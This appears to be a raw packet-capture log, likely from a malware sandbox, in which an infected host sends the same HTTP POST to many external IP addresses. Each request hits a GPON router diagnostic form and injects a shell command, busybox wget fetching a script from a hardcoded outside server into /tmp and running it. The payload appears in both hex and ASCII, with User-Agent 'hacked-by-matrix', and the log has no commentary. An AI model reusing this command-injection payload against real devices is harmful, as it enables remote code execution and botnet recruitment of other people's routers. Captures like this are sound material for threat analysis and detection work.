Mar 21, 2024 05:25:10.965538979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.23	51756	94.146.203.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965607882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.23	36788	94.253.34.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965607882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.23	36928	79.88.241.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965624094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.23	50278	2.76.198.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965692997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.23	33558	118.95.200.225	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965697050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.23	48366	2.137.248.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965713978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.23	56586	178.184.65.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965730906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.23	36230	5.248.164.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965754032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.23	58580	109.184.8.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965770006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.23	37276	212.185.218.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965805054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.23	51872	42.80.150.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965809107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.23	49006	5.161.237.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965837955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.23	49562	79.251.47.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965842009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.23	51736	79.176.242.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965853930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.23	40710	42.109.243.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965904951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.23	47008	94.221.153.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965928078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.23	34364	212.240.174.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965929985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.23	41442	212.224.36.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965955973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.23	58308	212.202.18.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965997934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.23	45592	212.180.179.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.966022968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.23	41870	5.199.99.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.966044903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.23	37858	42.214.229.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.966063023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.23	35106	2.122.156.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.966063976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.23	51198	109.254.44.252	443

Timestamp	Bytes transferred	Direction	Data
